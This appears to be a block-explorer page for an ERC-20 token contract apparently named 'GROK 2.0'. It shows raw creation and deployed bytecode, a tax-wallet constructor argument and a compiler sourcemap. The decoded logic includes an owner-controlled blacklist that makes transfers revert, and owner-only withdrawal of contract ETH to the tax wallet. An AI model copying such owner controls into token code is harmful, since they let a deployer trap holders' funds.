206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b60006105f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc5565b60006105f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e8565b600083156105f5576001600160a01b0383166000908152600160205260409020546119539083611b66565b6001600160a01b03841660009081526001602052604081209190915590506105f9565b600081831161198557826105f9565b50919050565b6019805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119d3576119d3611f55565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6a9190611ee8565b81600181518110611a7d57611a7d611f55565b6001600160a01b039283166020918202929092010152601854611aa891309161010090041684610e65565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611ae5908590600090869030904290600401611fcc565b600060405180830381600087803b158015611aff57600080fd5b505af1158015611b13573d6000803e3d6000fd5b50506019805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611b62573d6000803e3d6000fd5b5050565b600080611b738385611f6b565b9050838110156105f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b60008183611be65760405162461bcd60e51b815260040161062a9190611bf3565b5060006118198486611faa565b602081526000825180602084015260005b81811015611c215760208186018101516040868401015201611c04565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ce657600080fd5b60008060408385031215611c6957600080fd5b8235611c7481611c41565b946020939093013593505050565b600060208284031215611c9457600080fd5b81356105f981611c41565b600080600060608486031215611cb457600080fd5b8335611cbf81611c41565b92506020840135611ccf81611c41565b929592945050506040919091013590565b60008060208385031215611cf357600080fd5b823567ffffffffffffffff811115611d0a57600080fd5b8301601f81018513611d1b57600080fd5b803567ffffffffffffffff811115611d3257600080fd5b8560208260051b8401011115611d4757600080fd5b6020919091019590945092505050565b60008060408385031215611d6a57600080fd5b8235611d7581611c41565b91506020830135611d8581611c41565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611de157808504811115611dc557611dc5611d90565b6001841615611dd357908102905b60019390931c928002611daa565b935093915050565b600082611df85750600161056f565b81611e055750600061056f565b8160018114611e1b5760028114611e2557611e41565b600191505061056f565b60ff841115611e3657611e36611d90565b50506001821b61056f565b5060208310610133831016604e8410600b8410161715611e64575081810a61056f565b611e716000198484611da6565b8060001904821115611e8557611e85611d90565b029392505050565b60006105f960ff841683611de9565b808202811582820484141761056f5761056f611d90565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611efa57600080fd5b81516105f981611c41565b600080600060608486031215611f1a57600080fd5b5050815160208301516040909301519094929350919050565b600060208284031215611f4557600080fd5b815180151581146105f957600080fd5b634e487b7160e01b600052603260045260246000fd5b8082018082111561056f5761056f611d90565b600060018201611f9057611f90611d90565b5060010190565b8181038181111561056f5761056f611d90565b600082611fc757634e487b7160e01b600052601260045260246000fd5b500490565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b8181101561201e5783516001600160a01b0316835260209384019390920191600101611ff7565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041f70633a0874f49f2f7fc4fd70a7ff12d046d39e66d86c018588bc96ec707b064736f6c634300081a0033000000000000000000000000c19ab4c5b0ef93b4c49cf248892d3cc65e11e838

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063bf474bed1161008a578063f2fde38b11610064578063f2fde38b146104d4578063f4ef1f42146104f4578063f5b3c3bf1461050e578063ff8975701461053e57600080fd5b8063bf474bed14610463578063dd62ed3e14610479578063eb07fd55146104bf57600080fd5b80638f9a55c0116100c65780638f9a55c0146103dd57806395d89b41146103f3578063a9059cbb14610423578063b5ef226a1461044357600080fd5b80637d1db4a5146103945780638a8c523c146103aa5780638da5cb5b146103bf57600080fd5b806323b872dd116101595780634a49ac4c116101335780634a49ac4c14610312578063622565891461033457806370a0823114610349578063715018a61461037f57600080fd5b806323b872dd1461029e578063313ce567146102be57806349bd5a5e146102da57600080fd5b806306fdde03146101ac578063095ea7b3146101ef5780630e12062d1461021f5780630faee56f1461024357806318160ddd146102595780631cdd3be31461026e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b50604080518082019091526008815267047524f4b20322e360c41b60208201525b6040516101e69190611bf3565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a366004611c56565b61055e565b60405190151581526020016101e6565b34801561022b57600080fd5b5061023560175481565b6040519081526020016101e6565b34801561024f57600080fd5b5061023560165481565b34801561026557600080fd5b50610235610575565b34801561027a57600080fd5b5061020f610289366004611c82565b60056020526000908152604090205460ff1681565b3480156102aa57600080fd5b5061020f6102b9366004611c9f565b610596565b3480156102ca57600080fd5b50604051600981526020016101e6565b3480156102e657600080fd5b506019546102fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561031e57600080fd5b5061033261032d366004611c82565b610600565b005b34801561034057600080fd5b50610332610654565b34801561035557600080fd5b50610235610364366004611c82565b6001600160a01b031660009081526001602052604090205490565b34801561038b57600080fd5b50610332610707565b3480156103a057600080fd5b5061023560135481565b3480156103b657600080fd5b5061033261077b565b3480156103cb57600080fd5b506000546001600160a01b03166102fa565b3480156103e957600080fd5b5061023560145481565b3480156103ff57600080fd5b50604080518082019091526007815266047524f4b322e360cc1b60208201526101d9565b34801561042f57600080fd5b5061020f61043e366004611c56565b610bdf565b34801561044f57600080fd5b5061033261045e366004611ce0565b610bec565b34801561046f57600080fd5b5061023560155481565b34801561048557600080fd5b50610235610494366004611d57565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104cb57600080fd5b50610332610c83565b3480156104e057600080fd5b506103326104ef366004611c82565b610ce9565b34801561050057600080fd5b5060185461020f9060ff1681565b34801561051a57600080fd5b5061020f610529366004611c82565b60046020526000908152604090205460ff1681565b34801561054a57600080fd5b50610332610559366004611ce0565b610dd3565b600061056b338484610e65565b5060015b92915050565b60006105836009600a611e8d565b61059190633b9aca00611e9c565b905090565b60006105a3848484610f89565b6105f584336105f08560405180606001604052806028815260200161203f602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117e8565b610e65565b5060015b9392505050565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611eb3565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461067e5760405162461bcd60e51b815260040161062a90611eb3565b61068a6009600a611e8d565b61069890633b9aca00611e9c565b6013556106a76009600a611e8d565b6106b590633b9aca00611e9c565b6014557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e56009600a611e8d565b6106f390633b9aca00611e9c565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161062a90611eb3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161062a90611eb3565b601954600160a01b900460ff16156107ff5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062a565b60188054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108589030906001600160a01b036101009091041661084a6009600a611e8d565b6105f090633b9aca00611e9c565b601860019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf9190611ee8565b6001600160a01b031663c9c6539630601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611ee8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611ee8565b601980546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff1990811660019081179092559454861684526003909252909120805490921617905560185461010090041663f305d7194730610a4b816001600160a01b031660009081526001602052604090205490565b600080610a606000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aed9190611f05565b505060195460185460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611f33565b5060046017556019805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106fd565b600061056b338484610f89565b6000546001600160a01b03163314610c165760405162461bcd60e51b815260040161062a90611eb3565b60005b81811015610c7e57600060056000858585818110610c3957610c39611f55565b9050602002016020810190610c4e9190611c82565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610c19565b505050565b6000546001600160a01b03163314610cad5760405162461bcd60e51b815260040161062a90611eb3565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ce6573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d135760405162461bcd60e51b815260040161062a90611eb3565b6001600160a01b038116610d785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610dfd5760405162461bcd60e51b815260040161062a90611eb3565b60005b81811015610c7e57600160056000858585818110610e2057610e20611f55565b9050602002016020810190610e359190611c82565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610e00565b6001600160a01b038316610ec75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610f285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610fcb57506001600160a01b03821660009081526005602052604090205460ff16155b6110255760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b606482015260840161062a565b6001600160a01b0383166110895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b0382166110eb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b6000811161114d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b600080546001600160a01b0385811691161480159061117a57506000546001600160a01b03848116911614155b156116a5576111ab60646111a5600c54600f541161119a5760085461119e565b600a545b8590611822565b906118a4565b6001600160a01b03851660009081526004602052604090205490915060ff1680156111e957506018546001600160a01b038481166101009092041614155b801561120e57506001600160a01b03831660009081526003602052604090205460ff16155b15611318576013548211156112655760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161062a565b60145482611288856001600160a01b031660009081526001602052604090205490565b6112929190611f6b565b11156112e05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161062a565b4360075460036112f09190611f6b565b111561130257823b1561130257600080fd5b600f805490600061131283611f7e565b91905055505b6001600160a01b03831660009081526004602052604090205460ff1615801561135a57506001600160a01b03831660009081526003602052604090205460ff16155b156113da5760145482611382856001600160a01b031660009081526001602052604090205490565b61138c9190611f6b565b11156113da5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161062a565b6001600160a01b03831660009081526004602052604090205460ff16801561140b57506001600160a01b0384163014155b156114505761144d60646111a5600d54600f54116114435760125461143e906114359060016118e6565b60095490611822565b61119e565b600b548590611822565b90505b6001600160a01b03841660009081526004602052604090205460ff1615801561149257506001600160a01b03831660009081526004602052604090205460ff16155b80156114a757506001600160a01b0384163014155b156114b0575060005b6001600160a01b03841660009081526003602052604090205460ff1680156114f057506001600160a01b03831660009081526004602052604090205460ff165b80156115055750601954600160b01b900460ff165b801561151b5750601954600160a81b900460ff16155b156115465760065461153c906001600160a01b038681169116148484611928565b6115465750505050565b3060009081526001602052604090205460185460ff1680156115725750601954600160a81b900460ff16155b801561159657506001600160a01b03841660009081526004602052604090205460ff165b80156115ab5750601954600160b01b900460ff165b80156115ba5750600e54600f54115b1561161f576011544311156115cf5760006010555b6015548111156115f6576115f66115f1846115ec84601654611976565b611976565b61198b565b4761160047611b28565b6010805490600061161083611f7e565b909155505043601155506116a3565b601954600160a81b900460ff1615801561165157506001600160a01b03841660009081526004602052604090205460ff165b80156116665750601954600160b01b900460ff165b80156116755750600e54600f54115b156116a357601554811115611697576116976115f1846115ec84601654611976565b476116a147611b28565b505b505b801561171f57306000908152600160205260409020546116c59082611b66565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117169085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461174290836118e6565b6001600160a01b03851660009081526001602052604090205561178761176883836118e6565b6001600160a01b03851660009081526001602052604090205490611b66565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117d185856118e6565b60405190815260200160405180910390a350505050565b6000818484111561180c5760405162461bcd60e51b815260040161062a9190611bf3565b5060006118198486611f97565b95945050505050565b6000826000036118345750600061056f565b60006118408385611e9c565b90508261184d8583611faa565b146105f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b60006105f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc5565b60006105f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e8565b600083156105f5576001600160a01b0383166000908152600160205260409020546119539083611b66565b6001600160a01b03841660009081526001602052604081209190915590506105f9565b600081831161198557826105f9565b50919050565b6019805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119d3576119d3611f55565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6a9190611ee8565b81600181518110611a7d57611a7d611f55565b6001600160a01b039283166020918202929092010152601854611aa891309161010090041684610e65565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611ae5908590600090869030904290600401611fcc565b600060405180830381600087803b158015611aff57600080fd5b505af1158015611b13573d6000803e3d6000fd5b50506019805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611b62573d6000803e3d6000fd5b5050565b600080611b738385611f6b565b9050838110156105f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b60008183611be65760405162461bcd60e51b815260040161062a9190611bf3565b5060006118198486611faa565b602081526000825180602084015260005b81811015611c215760208186018101516040868401015201611c04565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ce657600080fd5b60008060408385031215611c6957600080fd5b8235611c7481611c41565b946020939093013593505050565b600060208284031215611c9457600080fd5b81356105f981611c41565b600080600060608486031215611cb457600080fd5b8335611cbf81611c41565b92506020840135611ccf81611c41565b929592945050506040919091013590565b60008060208385031215611cf357600080fd5b823567ffffffffffffffff811115611d0a57600080fd5b8301601f81018513611d1b57600080fd5b803567ffffffffffffffff811115611d3257600080fd5b8560208260051b8401011115611d4757600080fd5b6020919091019590945092505050565b60008060408385031215611d6a57600080fd5b8235611d7581611c41565b91506020830135611d8581611c41565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611de157808504811115611dc557611dc5611d90565b6001841615611dd357908102905b60019390931c928002611daa565b935093915050565b600082611df85750600161056f565b81611e055750600061056f565b8160018114611e1b5760028114611e2557611e41565b600191505061056f565b60ff841115611e3657611e36611d90565b50506001821b61056f565b5060208310610133831016604e8410600b8410161715611e64575081810a61056f565b611e716000198484611da6565b8060001904821115611e8557611e85611d90565b029392505050565b60006105f960ff841683611de9565b808202811582820484141761056f5761056f611d90565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611efa57600080fd5b81516105f981611c41565b600080600060608486031215611f1a57600080fd5b5050815160208301516040909301519094929350919050565b600060208284031215611f4557600080fd5b815180151581146105f957600080fd5b634e487b7160e01b600052603260045260246000fd5b8082018082111561056f5761056f611d90565b600060018201611f9057611f90611d90565b5060010190565b8181038181111561056f5761056f611d90565b600082611fc757634e487b7160e01b600052601260045260246000fd5b500490565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b8181101561201e5783516001600160a01b0316835260209384019390920191600101611ff7565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041f70633a0874f49f2f7fc4fd70a7ff12d046d39e66d86c018588bc96ec707b064736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c19ab4c5b0ef93b4c49cf248892d3cc65e11e838

-----Decoded View---------------
Arg [0] : taxWallet (address): 0xc19Ab4c5B0EF93B4c49cF248892D3CC65E11e838

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c19ab4c5b0ef93b4c49cf248892d3cc65e11e838


Deployed Bytecode Sourcemap

4197:11406:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6415:83;;;;;;;;;;-1:-1:-1;6485:5:0;;;;;;;;;;;;-1:-1:-1;;;6485:5:0;;;;6415:83;;;;;;;:::i;:::-;;;;;;;;7298:186;;;;;;;;;;-1:-1:-1;7298:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;7298:186:0;1054:187:1;5544:26:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;5544:26:0;1246:177:1;5487:48:0;;;;;;;;;;;;;;;;6692:95;;;;;;;;;;;;;:::i;4514:46::-;;;;;;;;;;-1:-1:-1;4514:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7492:446;;;;;;;;;;-1:-1:-1;7492:446:0;;;;;:::i;:::-;;:::i;6601:83::-;;;;;;;;;;-1:-1:-1;6601:83:0;;5246:1;2335:36:1;;2323:2;2308:18;6601:83:0;2193:184:1;5663:28:0;;;;;;;;;;-1:-1:-1;5663:28:0;;;;-1:-1:-1;;;;;5663:28:0;;;;;;-1:-1:-1;;;;;2546:32:1;;;2528:51;;2516:2;2501:18;5663:28:0;2382:203:1;8289:115:0;;;;;;;;;;-1:-1:-1;8289:115:0;;;;;:::i;:::-;;:::i;:::-;;14105:161;;;;;;;;;;;;;:::i;6795:119::-;;;;;;;;;;-1:-1:-1;6795:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6888:18:0;6861:7;6888:18;;;:9;:18;;;;;;;6795:119;2939:148;;;;;;;;;;;;;:::i;5327:50::-;;;;;;;;;;;;;;;;14374:1065;;;;;;;;;;;;;:::i;2725:79::-;;;;;;;;;;-1:-1:-1;2763:7:0;2790:6;-1:-1:-1;;;;;2790:6:0;2725:79;;5384:53;;;;;;;;;;;;;;;;6506:87;;;;;;;;;;-1:-1:-1;6578:7:0;;;;;;;;;;;;-1:-1:-1;;;6578:7:0;;;;6506:87;;6922:192;;;;;;;;;;-1:-1:-1;6922:192:0;;;;;:::i;:::-;;:::i;12976:223::-;;;;;;;;;;-1:-1:-1;12976:223:0;;;;;:::i;:::-;;:::i;5444:36::-;;;;;;;;;;;;;;;;7122:168;;;;;;;;;;-1:-1:-1;7122:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7255:18:0;;;7228:7;7255:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7122:168;15484:116;;;;;;;;;;;;;:::i;3095:281::-;;;;;;;;;;-1:-1:-1;3095:281:0;;;;;:::i;:::-;;:::i;5577:28::-;;;;;;;;;;-1:-1:-1;5577:28:0;;;;;;;;4465:42;;;;;;;;;;-1:-1:-1;4465:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13901:196;;;;;;;;;;-1:-1:-1;13901:196:0;;;;;:::i;:::-;;:::i;7298:186::-;7398:4;7415:39;352:10;7438:7;7447:6;7415:8;:39::i;:::-;-1:-1:-1;7472:4:0;7298:186;;;;;:::o;6692:95::-;6745:7;5305:15;5246:1;5305:2;:15;:::i;:::-;5289:31;;:13;:31;:::i;:::-;6765:14;;6692:95;:::o;7492:446::-;7624:4;7641:36;7651:6;7659:9;7670:6;7641:9;:36::i;:::-;7688:220;7711:6;352:10;7759:138;7815:6;7759:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7759:19:0;;;;;;:11;:19;;;;;;;;352:10;7759:33;;;;;;;;;;:37;:138::i;:::-;7688:8;:220::i;:::-;-1:-1:-1;7926:4:0;7492:446;;;;;;:::o;8289:115::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;8365:23:0::1;8391:5;8365:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;8365:31:0::1;::::0;;8289:115::o;14105:161::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;5305:15:::1;5246:1;5305:2;:15;:::i;:::-;5289:31;::::0;:13:::1;:31;:::i;:::-;14158:12;:22:::0;5305:15:::1;5246:1;5305:2;:15;:::i;:::-;5289:31;::::0;:13:::1;:31;:::i;:::-;14191:14;:24:::0;14231:27:::1;5305:15;5246:1;5305:2;:15;:::i;:::-;5289:31;::::0;:13:::1;:31;:::i;:::-;14231:27;::::0;1392:25:1;;;1380:2;1365:18;14231:27:0::1;;;;;;;;14105:161::o:0;2939:148::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;3046:1:::1;3030:6:::0;;3009:40:::1;::::0;-1:-1:-1;;;;;3030:6:0;;::::1;::::0;3009:40:::1;::::0;3046:1;;3009:40:::1;3077:1;3060:19:::0;;-1:-1:-1;;;;;;3060:19:0::1;::::0;;2939:148::o;14374:1065::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;14438:11:::1;::::0;-1:-1:-1;;;14438:11:0;::::1;;;14437:12;14429:48;;;::::0;-1:-1:-1;;;14429:48:0;;5898:2:1;14429:48:0::1;::::0;::::1;5880:21:1::0;5937:2;5917:18;;;5910:30;5976:25;5956:18;;;5949:53;6019:18;;14429:48:0::1;5696:347:1::0;14429:48:0::1;14488:15;:104:::0;;-1:-1:-1;;;;;;14488:104:0::1;::::0;::::1;::::0;;;;14603:58:::1;::::0;14620:4:::1;::::0;-1:-1:-1;;;;;14488:104:0::1;14635:15:::0;;::::1;;5305;5246:1;5305:2;:15;:::i;:::-;5289:31;::::0;:13:::1;:31;:::i;14603:58::-;14716:15;;;;;;;;;-1:-1:-1::0;;;;;14716:15:0::1;-1:-1:-1::0;;;;;14716:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14698:55:0::1;;14776:4;14796:15;;;;;;;;;-1:-1:-1::0;;;;;14796:15:0::1;-1:-1:-1::0;;;;;14796:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14698:131;::::0;-1:-1:-1;;;;;;14698:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6496:32:1;;;14698:131:0::1;::::0;::::1;6478:51:1::0;6565:32;;6545:18;;;6538:60;6451:18;;14698:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14682:13;:147:::0;;-1:-1:-1;;;;;14682:147:0;;::::1;-1:-1:-1::0;;;;;;14682:147:0;;::::1;::::0;::::1;::::0;;:13:::1;14850:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;14850:41:0;;::::1;14682:147:::0;14850:41;;::::1;::::0;;;14929:13;;;::::1;14902:42:::0;;:18:::1;:42:::0;;;;;;:49;;;;::::1;;::::0;;14962:15:::1;::::0;14682:147:::1;14962:15:::0;::::1;;:31;15001:21;15046:4;15066:24;15046:4:::0;-1:-1:-1;;;;;6888:18:0;6861:7;6888:18;;;:9;:18;;;;;;;6795:119;15066:24:::1;15105:1;15121::::0;15137:7:::1;2763::::0;2790:6;-1:-1:-1;;;;;2790:6:0;;2725:79;15137:7:::1;14962:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14962:223:0;;;-1:-1:-1;;;;;6930:32:1;;;14962:223:0::1;::::0;::::1;6912:51:1::0;6979:18;;;6972:34;;;;7022:18;;;7015:34;;;;7065:18;;;7058:34;7129:32;;;7108:19;;;7101:61;15159:15:0::1;7178:19:1::0;;;7171:35;6884:19;;14962:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15203:13:0::1;::::0;15234:15:::1;::::0;15196:71:::1;::::0;-1:-1:-1;;;15196:71:0;;-1:-1:-1;;;;;15203:13:0::1;15234:15:::0;;::::1;::::0;::::1;15196:71;::::0;::::1;7852:51:1::0;-1:-1:-1;;7919:18:1;;;7912:34;15203:13:0;::::1;::::0;-1:-1:-1;15196:29:0::1;::::0;7825:18:1;;15196:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;15288:1:0::1;15278:7;:11:::0;15300::::1;:18:::0;;-1:-1:-1;;;;15329:18:0;-1:-1:-1;;;15329:18:0;;;;;15371:12:::1;15358:10;:25:::0;15399:32:::1;::::0;;15300:18:::1;-1:-1:-1::0;;;15406:11:0;::::1;::::0;::::1;8426:14:1::0;8419:22;8401:41;;-1:-1:-1;;;15419:11:0;;::::1;::::0;;::::1;8485:14:1::0;8478:22;8473:2;8458:18;;8451:50;15399:32:0::1;::::0;8374:18:1;15399:32:0::1;8239:268:1::0;6922:192:0;7025:4;7042:42;352:10;7066:9;7077:6;7042:9;:42::i;12976:223::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;13091:9:::1;13086:106;13102:20:::0;;::::1;13086:106;;;13175:5;13144:14;:28;13159:9;;13169:1;13159:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13144:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13144:28:0;:36;;-1:-1:-1;;13144:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13124:3:0::1;13086:106;;;;12976:223:::0;;:::o;15484:116::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;15549:10:::1;::::0;15541:51:::1;::::0;-1:-1:-1;;;;;15549:10:0;;::::1;::::0;15570:21:::1;15541:51:::0;::::1;;;::::0;15549:10:::1;15541:51:::0;15549:10;15541:51;15570:21;15549:10;15541:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;15484:116::o:0;3095:281::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;